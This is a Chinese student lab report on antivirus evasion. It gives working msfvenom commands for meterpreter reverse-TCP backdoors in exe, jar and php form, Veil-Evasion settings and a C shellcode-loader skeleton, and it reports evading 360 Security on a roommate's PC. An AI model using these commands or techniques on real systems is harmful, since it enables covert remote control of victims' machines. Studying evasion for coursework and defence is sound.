文档章节

2018-2019-2 20165316 『网络对抗技术』Exp3:免杀原理与实践

o
 osc_eew3qbpd
发布于 2019/03/31 09:55
字数 1833
阅读 3
收藏 0

行业解决方案、产品招募中!想赚钱就来传!>>>

2018-2019-2 20165316 『网络对抗技术』Exp3:免杀原理与实践

一 免杀原理与实践说明

(一)、实验说明

  • 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)

  • 任务二:通过组合应用各种技术实现恶意代码免杀(1分)

  • 任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)

(二)、基础问题回答

  • 问:杀软是如何检测出恶意代码的?
    • 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
    • 基于行为来检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
  • 问:免杀是做什么?
    • 通过使用一些技术手段,让杀毒软件无法识别并分析主机中的恶意代码。
  • 问:免杀的基本方法有哪些?
    • 改变特征码:
      • 只有exe——加壳
      • 有shellcode——利用shellcode生成可执行文件
      • 有源代码——用其他语言重写再编译
    • 改变行为:
      • 通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据等。
      • 操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码等。但是,现在微软对此似乎也有所防备。我会在下面的实验过程中详细叙述这种猜想的来源。
  • 问:开启杀软能绝对防止电脑中恶意代码吗?
    • 显然不可能,如果有这种想法无疑是掩耳盗铃。。。。

二、 使用msf编码器生成后门程序及检测

1、在《Exp2:后门原理与实践》博客中,我们生成了一个后门文件。将其放在virscan.org中进行扫描,结果如下图所示:

可以看出,70款杀软中有51款报出了病毒。原因也可想而知,Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度,只要一有新编码算法,马上就会加到特征库里了。

2、使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.1.147 LPORT=5316 -f exe > met-encoded10.exe指令进行多次编码。

再使用VirusTotal进行扫描,一次迭代结果如下所示:

十次迭代结果如下所示:

仍然有52款杀软发现病毒(为啥一次还比十次少。。。。)。并没有什么卵用。多次编码之后的后门,还是会被大多数杀软发现并清理的。

三、其他形式的反弹代码

1. msfvenom生成jar文件

生成java后门程序使用命令: msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.147 LPORT=5316 x> backdoor5316_java.jar 生成文件如下所示:

扫描结果如下:

2. msfvenom生成php文件

生成PHP后门程序使用命令: msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.147 LPORT=5316 x> backdoor5316_zuihaode.php(可能是因为php是。。。。) 生成文件如下所示:

扫描结果如下:

想生成更多其他形式的文件可以参考学姐的博客

三、使用veil-evasion生成后门程序及检测

安装veil-evasion的时候遇到了好多麻烦事,网速贼慢,好不容易下载好了,“展开对象”执行了俩小时还没结束,去网上也搜不到相关的原因和解释,最终还是拷贝了同学的虚拟机,如果我有机会能安装好,我会补一篇安tu装cao教程的。

1、use evasion启动evail-evasion:

2、输入命令use c/meterpreter/rev_tcp.py 进入配置界面

3、设置反弹连接IP,命令为:set LHOST 192.168.1.241,注意此处的IP是KaliIP;设置端口,命令为:set LPORT 5316:

4、输入generate生成文件,接着输入你想要playload的名字:veil_c_5316

5、保存路径为/var/lib/veil/output/compiled/veil_c_5316.exe

和以前差不多,看来去年玩烂的东西今年就被查了啊。

四. 半手工注入Shellcode并执行

在《Exp2:后门原理与实践》博客中,同样介绍了生成shellcode的方法,这次我们利用生成的shellcode编写后门程序,半手工打造恶意软件。

1、首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.147 LPORT=5316 -f c用c语言生成一段shellcode;

2、利用shellcode编写一个C语言程序后门,在windows下编译运行后,测试其可用性:

#include <windows.h>
#include <stdio.h>
 
//data段可读写
#pragma comment(linker, "/section:.data,RWE") 
//不显示窗口
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment(linker, "/INCREMENTAL:NO")

void main(){
    ((void(*)(void))&shellcode)();//shellcode是你生成的机器码头指针
}

不用看都能知道,直接被杀软杀掉。因为出现了shellcode,可以看出,明文shellcode见光死。

3、扫描发现,仍有很多杀软能够扫描出来:

4、此时,我的心境发生了微妙的变化,我使用了新的方法加密了shellcode,让它不以明文方式出现,下图中左边为解密出来的shellcode,右边可以看出kali已经成功获得Windows权限。(呃,这里原本有一个成功的截图,但是我看到不要放截图,就没放出来。)

5、杀软没有发现它,扫描结果仅为17%。

6、然后,我给它加了一个upx压缩壳。是没被杀出来,但是,扫描结果却没有上面乐观。

五、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

注意:由于换了网络,IP地址会发生变化,所有的程序都需要重新生成。(也有可能不会,毕竟一个宿舍一个局域网)

对舍友电脑进行免杀效果测试并回连成功(舍友的杀软为最新的360安全卫士11)

离实战还缺些什么技术或步骤?

首先,虽然程序能够不被杀软检测到,我们现在只是会一些简单的综合利用技术进行改造,但实际上病毒库时时刻刻不再更新发展,我们更需要学会多方面技术来使达到免杀的目的。

其次,但对于实战来说,恶意代码如何嵌入被攻击机中,并让被控主机运行它对我们来说还是一大问题,所以接下来要对如何伪装、吸引被供给端点击这方面进行学习。

再次,我们对于编程和计算机内部结构的了解还不够深刻,没有将知识联系起来,无法有效找出计算机的漏洞。

整体来说就是要进行信息收集、漏洞分析,然后根据漏洞构造后门,并隐藏、清理痕迹等。

o
粉丝 0
博文 500
码字总数 0
作品 0
私信 提问
加载中
请先登录后再评论。
Swift百万线程攻破单例(Singleton)模式

一、不安全的单例实现 在上一篇文章我们给出了单例的设计模式,直接给出了线程安全的实现方法。单例的实现有多种方法,如下面: class SwiftSingleton { } 这段代码的实现,在shared中进行条...

一叶博客
2014/06/20
3.3K
16
CSS编译工具--Peaches

Peaches是一个基于Node的CSS编译工具,用于自动合成CSS Sprite。 Peaches 追求简单、自然的CSS书写方式! 大致的工作原理如下: 1. 我们在书写样式时,对每个需要使用背景图片的元素,进行单...

sliuqin
2013/04/12
595
0
浏览器中的scheme解释器--SchemeScript

一个用javascript实现的scheme解释器,可以运行在浏览器中或node.js中。 刚刚看到编译原理与实践第二章,一时兴起,想写个以前就想写的scheme的解释器。昨天晚上开始写,到刚才为止,接近一天...

zoowii
2012/11/01
1.1K
0
.NET开源独立博客程序--小泥鳅

小泥鳅创建于2008年夏天,基于.Net平台开发,拥有完整的文章发布,评论,订阅,标签等功能,满足个人/团队信息发布需求,可作为Blog,CMS,甚至建企业站。 小泥鳅采用了 NVelocity,CKEdito...

小伟伟
2012/11/26
4.1K
0
Web服务器--Gatling Web Server

Gatling,格林机关枪一样的高效轻量级WEB SERVER,优点是精简高效,完全免配置,支持HTTP/FTP/SMB等协议,支持CGI/FASTCGI,还附带了几个有用的webbench测试工具,非常贴心。 特性: 体积小,...

匿名
2012/12/15
1.4K
0

没有更多内容

加载失败,请刷新页面

加载更多

什么是TypeScript?为什么我要用它代替JavaScript? [关闭]

问题: Closed . 已关闭 。 This question needs to be more focused . 这个问题需要更加集中 。 It is not currently accepting answers. 它当前不接受答案。 Want to improve this questio......

法国红酒甜
26分钟前
27
0
键盘输入限制

// 用户输入的时候替换:nativeOnInput 替换负数setInputValue(e, row, prop) { if(e.target.value.includes('-')) { e.target.value = '-'+e.target.value.replace(/-/g, ......

赤月三号
29分钟前
13
0
软件工程国家标准

软件工程国家标准分为六大类:专业基础标准、过程标准、质量标准、技术与管理标准、工具与方法标准 和 数据标准。 软考大纲将软件工程标准分为四大类:基础标准、开发标准、文档标准 和管理标...

LitStone
39分钟前
13
0
优化HBASE有感

今天终于把这一块完成了,有点慢,我告诉自己别慌,别急,慢下来。 这是产后回来做的第一个小项目,我有点急,有点慌。 起始于对HBASE一无所知的小白。 接到任务,有点头大。 先把任务分析了...

_小茗同学_
42分钟前
15
0
HashMap如何解决hash冲突

1、HashMap如何解决hash冲突? HashMap是通过 拉链法来处理冲突的 2. hash冲突的几种解决方法? 1)、开放地址法: 当 p=H(key) 出现冲突的话,那再次计算 p=H(key+1) 这样每次 加1 直到没有冲...

加油加油再加油
51分钟前
29
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部